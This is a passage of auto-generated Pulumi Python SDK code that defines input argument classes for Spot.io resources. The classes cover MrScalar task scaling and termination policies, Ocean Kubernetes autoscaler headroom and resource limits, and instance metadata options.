capacity when scale is needed. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter def cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. """ return pulumi.get(self, "cooldown") @cooldown.setter def cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cooldown", value) @property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ A mapping of dimensions describing qualities of the metric. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ The number of periods over which data is compared to the specified threshold. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Max target capacity for scale down. """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The maximum to set when scale is needed. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Min target capacity for scale up. """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The minimum to set when scale is needed. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def operator(self) -> Optional[pulumi.Input[str]]: """ The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` """ return pulumi.get(self, "operator") @operator.setter def operator(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The time window in seconds over which the statistic is applied. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The number of instances to set when scale is needed. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @pulumi.input_type class MrScalarTaskScalingUpPolicyArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], policy_name: pulumi.Input[str], threshold: pulumi.Input[float], unit: pulumi.Input[str], action_type: Optional[pulumi.Input[str]] = None, adjustment: Optional[pulumi.Input[str]] = None, cooldown: Optional[pulumi.Input[int]] = None, dimensions: Optional[pulumi.Input[Mapping[str, Any]]] = None, evaluation_periods: Optional[pulumi.Input[int]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, operator: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, statistic: Optional[pulumi.Input[str]] = None, target: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric in CloudWatch which the statement will be based on. :param pulumi.Input[str] namespace: Must contain the value: `AWS/ElasticMapReduce`. :param pulumi.Input[str] policy_name: The name of the policy. :param pulumi.Input[float] threshold: The value that the specified statistic is compared to. :param pulumi.Input[str] unit: The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` :param pulumi.Input[str] action_type: The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' :param pulumi.Input[str] adjustment: The number of instances to add/remove to/from the target capacity when scale is needed. :param pulumi.Input[int] cooldown: The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. :param pulumi.Input[Mapping[str, Any]] dimensions: A mapping of dimensions describing qualities of the metric. :param pulumi.Input[int] evaluation_periods: The number of periods over which data is compared to the specified threshold. :param pulumi.Input[str] max_target_capacity: Max target capacity for scale down. :param pulumi.Input[str] maximum: The maximum to set when scale is needed. :param pulumi.Input[str] min_target_capacity: Min target capacity for scale up. :param pulumi.Input[str] minimum: The minimum to set when scale is needed. :param pulumi.Input[str] operator: The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` :param pulumi.Input[int] period: The time window in seconds over which the statistic is applied. :param pulumi.Input[str] statistic: The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` :param pulumi.Input[str] target: The number of instances to set when scale is needed. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "policy_name", policy_name) pulumi.set(__self__, "threshold", threshold) pulumi.set(__self__, "unit", unit) if action_type is not None: pulumi.set(__self__, "action_type", action_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if cooldown is not None: pulumi.set(__self__, "cooldown", cooldown) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if operator is not None: pulumi.set(__self__, "operator", operator) if period is not None: pulumi.set(__self__, "period", period) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if target is not None: pulumi.set(__self__, "target", target) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric in CloudWatch which the statement will be based on. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Must contain the value: `AWS/ElasticMapReduce`. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="policyName") def policy_name(self) -> pulumi.Input[str]: """ The name of the policy. """ return pulumi.get(self, "policy_name") @policy_name.setter def policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "policy_name", value) @property @pulumi.getter def threshold(self) -> pulumi.Input[float]: """ The value that the specified statistic is compared to. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: pulumi.Input[float]): pulumi.set(self, "threshold", value) @property @pulumi.getter def unit(self) -> pulumi.Input[str]: """ The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: pulumi.Input[str]): pulumi.set(self, "unit", value) @property @pulumi.getter(name="actionType") def action_type(self) -> Optional[pulumi.Input[str]]: """ The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' """ return pulumi.get(self, "action_type") @action_type.setter def action_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add/remove to/from the target capacity when scale is needed. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter def cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. """ return pulumi.get(self, "cooldown") @cooldown.setter def cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cooldown", value) @property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ A mapping of dimensions describing qualities of the metric. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ The number of periods over which data is compared to the specified threshold. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Max target capacity for scale down. """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The maximum to set when scale is needed. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Min target capacity for scale up. """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The minimum to set when scale is needed. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def operator(self) -> Optional[pulumi.Input[str]]: """ The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` """ return pulumi.get(self, "operator") @operator.setter def operator(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The time window in seconds over which the statistic is applied. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The number of instances to set when scale is needed. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @pulumi.input_type class MrScalarTerminationPolicyArgs: def __init__(__self__, *, statements: pulumi.Input[Sequence[pulumi.Input['MrScalarTerminationPolicyStatementArgs']]]): pulumi.set(__self__, "statements", statements) @property @pulumi.getter def statements(self) -> pulumi.Input[Sequence[pulumi.Input['MrScalarTerminationPolicyStatementArgs']]]: return pulumi.get(self, "statements") @statements.setter def statements(self, value: pulumi.Input[Sequence[pulumi.Input['MrScalarTerminationPolicyStatementArgs']]]): pulumi.set(self, "statements", value) @pulumi.input_type class MrScalarTerminationPolicyStatementArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], threshold: pulumi.Input[float], evaluation_periods: Optional[pulumi.Input[int]] = None, operator: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, statistic: Optional[pulumi.Input[str]] = None, unit: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric in CloudWatch which the statement will be based on. :param pulumi.Input[str] namespace: Must contain the value: `AWS/ElasticMapReduce`. :param pulumi.Input[float] threshold: The value that the specified statistic is compared to. :param pulumi.Input[int] evaluation_periods: The number of periods over which data is compared to the specified threshold. :param pulumi.Input[str] operator: The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` :param pulumi.Input[int] period: The time window in seconds over which the statistic is applied. :param pulumi.Input[str] statistic: The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` :param pulumi.Input[str] unit: The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "threshold", threshold) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if operator is not None: pulumi.set(__self__, "operator", operator) if period is not None: pulumi.set(__self__, "period", period) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if unit is not None: pulumi.set(__self__, "unit", unit) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric in CloudWatch which the statement will be based on. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Must contain the value: `AWS/ElasticMapReduce`. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter def threshold(self) -> pulumi.Input[float]: """ The value that the specified statistic is compared to. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: pulumi.Input[float]): pulumi.set(self, "threshold", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ The number of periods over which data is compared to the specified threshold. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter def operator(self) -> Optional[pulumi.Input[str]]: """ The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` """ return pulumi.get(self, "operator") @operator.setter def operator(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The time window in seconds over which the statistic is applied. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter def unit(self) -> Optional[pulumi.Input[str]]: """ The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "unit", value) @pulumi.input_type class OceanAutoscalerArgs: def __init__(__self__, *, auto_headroom_percentage: Optional[pulumi.Input[int]] = None, autoscale_cooldown: Optional[pulumi.Input[int]] = None, autoscale_down: Optional[pulumi.Input['OceanAutoscalerAutoscaleDownArgs']] = None, autoscale_headroom: Optional[pulumi.Input['OceanAutoscalerAutoscaleHeadroomArgs']] = None, autoscale_is_auto_config: Optional[pulumi.Input[bool]] = None, autoscale_is_enabled: Optional[pulumi.Input[bool]] = None, resource_limits: Optional[pulumi.Input['OceanAutoscalerResourceLimitsArgs']] = None): """ :param pulumi.Input[int] auto_headroom_percentage: Set the auto headroom percentage (a number in the range [0, 200]) which controls the percentage of headroom from the cluster. Relevant only when `autoscale_is_auto_config` toggled on. :param pulumi.Input[int] autoscale_cooldown: Cooldown period between scaling actions. :param pulumi.Input['OceanAutoscalerAutoscaleDownArgs'] autoscale_down: Auto Scaling scale down operations. :param pulumi.Input['OceanAutoscalerAutoscaleHeadroomArgs'] autoscale_headroom: Spare resource capacity management enabling fast assignment of Pods without waiting for new resources to launch. :param pulumi.Input[bool] autoscale_is_auto_config: Automatically configure and optimize headroom resources. :param pulumi.Input[bool] autoscale_is_enabled: Enable the Ocean Kubernetes Auto Scaler. :param pulumi.Input['OceanAutoscalerResourceLimitsArgs'] resource_limits: Optionally set upper and lower bounds on the resource usage of the cluster. """ if auto_headroom_percentage is not None: pulumi.set(__self__, "auto_headroom_percentage", auto_headroom_percentage) if autoscale_cooldown is not None: pulumi.set(__self__, "autoscale_cooldown", autoscale_cooldown) if autoscale_down is not None: pulumi.set(__self__, "autoscale_down", autoscale_down) if autoscale_headroom is not None: pulumi.set(__self__, "autoscale_headroom", autoscale_headroom) if autoscale_is_auto_config is not None: pulumi.set(__self__, "autoscale_is_auto_config", autoscale_is_auto_config) if autoscale_is_enabled is not None: pulumi.set(__self__, "autoscale_is_enabled", autoscale_is_enabled) if resource_limits is not None: pulumi.set(__self__, "resource_limits", resource_limits) @property @pulumi.getter(name="autoHeadroomPercentage") def auto_headroom_percentage(self) -> Optional[pulumi.Input[int]]: """ Set the auto headroom percentage (a number in the range [0, 200]) which controls the percentage of headroom from the cluster. Relevant only when `autoscale_is_auto_config` toggled on. """ return pulumi.get(self, "auto_headroom_percentage") @auto_headroom_percentage.setter def auto_headroom_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "auto_headroom_percentage", value) @property @pulumi.getter(name="autoscaleCooldown") def autoscale_cooldown(self) -> Optional[pulumi.Input[int]]: """ Cooldown period between scaling actions. """ return pulumi.get(self, "autoscale_cooldown") @autoscale_cooldown.setter def autoscale_cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "autoscale_cooldown", value) @property @pulumi.getter(name="autoscaleDown") def autoscale_down(self) -> Optional[pulumi.Input['OceanAutoscalerAutoscaleDownArgs']]: """ Auto Scaling scale down operations. """ return pulumi.get(self, "autoscale_down") @autoscale_down.setter def autoscale_down(self, value: Optional[pulumi.Input['OceanAutoscalerAutoscaleDownArgs']]): pulumi.set(self, "autoscale_down", value) @property @pulumi.getter(name="autoscaleHeadroom") def autoscale_headroom(self) -> Optional[pulumi.Input['OceanAutoscalerAutoscaleHeadroomArgs']]: """ Spare resource capacity management enabling fast assignment of Pods without waiting for new resources to launch. """ return pulumi.get(self, "autoscale_headroom") @autoscale_headroom.setter def autoscale_headroom(self, value: Optional[pulumi.Input['OceanAutoscalerAutoscaleHeadroomArgs']]): pulumi.set(self, "autoscale_headroom", value) @property @pulumi.getter(name="autoscaleIsAutoConfig") def autoscale_is_auto_config(self) -> Optional[pulumi.Input[bool]]: """ Automatically configure and optimize headroom resources. """ return pulumi.get(self, "autoscale_is_auto_config") @autoscale_is_auto_config.setter def autoscale_is_auto_config(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_auto_config", value) @property @pulumi.getter(name="autoscaleIsEnabled") def autoscale_is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Enable the Ocean Kubernetes Auto Scaler. """ return pulumi.get(self, "autoscale_is_enabled") @autoscale_is_enabled.setter def autoscale_is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_enabled", value) @property @pulumi.getter(name="resourceLimits") def resource_limits(self) -> Optional[pulumi.Input['OceanAutoscalerResourceLimitsArgs']]: """ Optionally set upper and lower bounds on the resource usage of the cluster. """ return pulumi.get(self, "resource_limits") @resource_limits.setter def resource_limits(self, value: Optional[pulumi.Input['OceanAutoscalerResourceLimitsArgs']]): pulumi.set(self, "resource_limits", value) @pulumi.input_type class OceanAutoscalerAutoscaleDownArgs: def __init__(__self__, *, evaluation_periods: Optional[pulumi.Input[int]] = None, max_scale_down_percentage: Optional[pulumi.Input[float]] = None): """ :param pulumi.Input[float] max_scale_down_percentage: Would represent the maximum % to scale-down. Number between 1-100. """ if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_scale_down_percentage is not None: pulumi.set(__self__, "max_scale_down_percentage", max_scale_down_percentage) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxScaleDownPercentage") def max_scale_down_percentage(self) -> Optional[pulumi.Input[float]]: """ Would represent the maximum % to scale-down. Number between 1-100. """ return pulumi.get(self, "max_scale_down_percentage") @max_scale_down_percentage.setter def max_scale_down_percentage(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "max_scale_down_percentage", value) @pulumi.input_type class OceanAutoscalerAutoscaleHeadroomArgs: def __init__(__self__, *, cpu_per_unit: Optional[pulumi.Input[int]] = None, gpu_per_unit: Optional[pulumi.Input[int]] = None, memory_per_unit: Optional[pulumi.Input[int]] = None, num_of_units: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] cpu_per_unit: Optionally configure the number of CPUs to allocate the headroom. CPUs are denoted in millicores, where 1000 millicores = 1 vCPU. :param pulumi.Input[int] gpu_per_unit: Optionally configure the number of GPUs to allocate the headroom. :param pulumi.Input[int] memory_per_unit: Optionally configure the amount of memory (MB) to allocate the headroom. :param pulumi.Input[int] num_of_units: The number of units to retain as headroom, where each unit has the defined headroom CPU and memory. """ if cpu_per_unit is not None: pulumi.set(__self__, "cpu_per_unit", cpu_per_unit) if gpu_per_unit is not None: pulumi.set(__self__, "gpu_per_unit", gpu_per_unit) if memory_per_unit is not None: pulumi.set(__self__, "memory_per_unit", memory_per_unit) if num_of_units is not None: pulumi.set(__self__, "num_of_units", num_of_units) @property @pulumi.getter(name="cpuPerUnit") def cpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the number of CPUs to allocate the headroom. CPUs are denoted in millicores, where 1000 millicores = 1 vCPU. """ return pulumi.get(self, "cpu_per_unit") @cpu_per_unit.setter def cpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cpu_per_unit", value) @property @pulumi.getter(name="gpuPerUnit") def gpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the number of GPUs to allocate the headroom. """ return pulumi.get(self, "gpu_per_unit") @gpu_per_unit.setter def gpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "gpu_per_unit", value) @property @pulumi.getter(name="memoryPerUnit") def memory_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the amount of memory (MB) to allocate the headroom. """ return pulumi.get(self, "memory_per_unit") @memory_per_unit.setter def memory_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "memory_per_unit", value) @property @pulumi.getter(name="numOfUnits") def num_of_units(self) -> Optional[pulumi.Input[int]]: """ The number of units to retain as headroom, where each unit has the defined headroom CPU and memory. """ return pulumi.get(self, "num_of_units") @num_of_units.setter def num_of_units(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_of_units", value) @pulumi.input_type class OceanAutoscalerResourceLimitsArgs: def __init__(__self__, *, max_memory_gib: Optional[pulumi.Input[int]] = None, max_vcpu: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] max_memory_gib: The maximum memory in GiB units that can be allocated to the cluster. :param pulumi.Input[int] max_vcpu: The maximum cpu in vCPU units that can be allocated to the cluster. """ if max_memory_gib is not None: pulumi.set(__self__, "max_memory_gib", max_memory_gib) if max_vcpu is not None: pulumi.set(__self__, "max_vcpu", max_vcpu) @property @pulumi.getter(name="maxMemoryGib") def max_memory_gib(self) -> Optional[pulumi.Input[int]]: """ The maximum memory in GiB units that can be allocated to the cluster. """ return pulumi.get(self, "max_memory_gib") @max_memory_gib.setter def max_memory_gib(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_memory_gib", value) @property @pulumi.getter(name="maxVcpu") def max_vcpu(self) -> Optional[pulumi.Input[int]]: """ The maximum cpu in vCPU units that can be allocated to the cluster. """ return pulumi.get(self, "max_vcpu") @max_vcpu.setter def max_vcpu(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_vcpu", value) @pulumi.input_type class OceanInstanceMetadataOptionsArgs: def __init__(__self__, *, http_tokens: pulumi.Input[str], http_put_response_hop_limit: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[str] http_tokens: Determines if a signed token is required or not. Valid values: `optional` or `required`. :param pulumi.Input[int] http_put_response_hop_limit: An integer from 1 through 64. The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further the instance metadata requests can travel. """ pulumi.set(__self__, "http_tokens", http_tokens) if http_put_response_hop_limit is not None: pulumi.set(__self__, "http_put_response_hop_limit", http_put_response_hop_limit) @property @pulumi.getter(name="httpTokens") def http_tokens(self) -> pulumi.Input[str]: """ Determines if a signed token is required or not. Valid values: `optional` or `required`. """ return pulumi.get(self, "http_tokens") @http_tokens.setter def http_tokens(self, value: pulumi.Input[str]): pulumi.set(self, "http_tokens", value) @property @pulumi.getter(name="httpPutResponseHopLimit") def http_put_response_hop_limit(self) -> Optional[pulumi.Input[int]]: """ An integer from 1 through 64. The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further the instance metadata requests can travel. """ return pulumi.get(self, "http_put_response_hop_limit") @http_put_response_hop_limit.setter def http_put_response_hop_limit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "http_put_response_hop_limit", value) @pulumi.input_type class OceanLaunchSpecAutoscaleHeadroomArgs: def __init__(__self__, *, num_of_units: pulumi.Input[int], cpu_per_unit: Optional[pulumi.Input[int]] = None, gpu_per_unit: Optional[pulumi.Input[int]] = None, memory_per_unit: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] num_of_units: The number of units to retain as headroom, where each unit has the defined headroom CPU, memory and GPU. :param pulumi.Input[int] cpu_per_unit: Optionally configure the number of CPUs to allocate for each headroom unit. CPUs are denoted in millicores, where 1000 millicores = 1 vCPU. :param pulumi.Input[int] gpu_per_unit: Optionally configure the number of GPUS to allocate for each headroom unit. :param pulumi.Input[int] memory_per_unit: Optionally configure the amount of memory (MiB) to allocate for each headroom unit. """ pulumi.set(__self__, "num_of_units", num_of_units) if cpu_per_unit is not None: pulumi.set(__self__, "cpu_per_unit", cpu_per_unit) if gpu_per_unit is not None: pulumi.set(__self__, "gpu_per_unit", gpu_per_unit) if memory_per_unit is not None: pulumi.set(__self__, "memory_per_unit", memory_per_unit) @property @pulumi.getter(name="numOfUnits") def num_of_units(self) -> pulumi.Input[int]: """ The number of units to retain as headroom, where each unit has the defined headroom CPU, memory and GPU. """ return pulumi.get(self, "num_of_units") @num_of_units.setter def num_of_units(self, value: pulumi.Input[int]): pulumi.set(self, "num_of_units", value) @property @pulumi.getter(name="cpuPerUnit") def cpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the number of CPUs to allocate for each headroom unit. CPUs are denoted in millicores, where 1000 millicores = 1 vCPU. """ return pulumi.get(self, "cpu_per_unit") @cpu_per_unit.setter def cpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cpu_per_unit", value) @property @pulumi.getter(name="gpuPerUnit") def gpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the number of GPUS to allocate for each headroom unit. """ return pulumi.get(self, "gpu_per_unit") @gpu_per_unit.setter def gpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "gpu_per_unit", value) @property @pulumi.getter(name="memoryPerUnit") def memory_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the amount of memory (MiB) to allocate for each headroom unit. """ return pulumi.get(self, "memory_per_unit") @memory_per_unit.setter def memory_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "memory_per_unit", value) @pulumi.input_type class OceanLaunchSpecBlockDeviceMappingArgs: def __init__(__self__, *, device_name: Optional[pulumi.Input[str]] = None, ebs: Optional[pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsArgs']] = None, no_device: Optional[pulumi.Input[str]] = None, virtual_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] device_name: String. Set device name. (Example: `/dev/xvda`). :param pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsArgs'] ebs: Object. Set Elastic Block Store properties . :param pulumi.Input[str] no_device: String. Suppresses the specified device included in the block device mapping of the AMI. """ if device_name is not None: 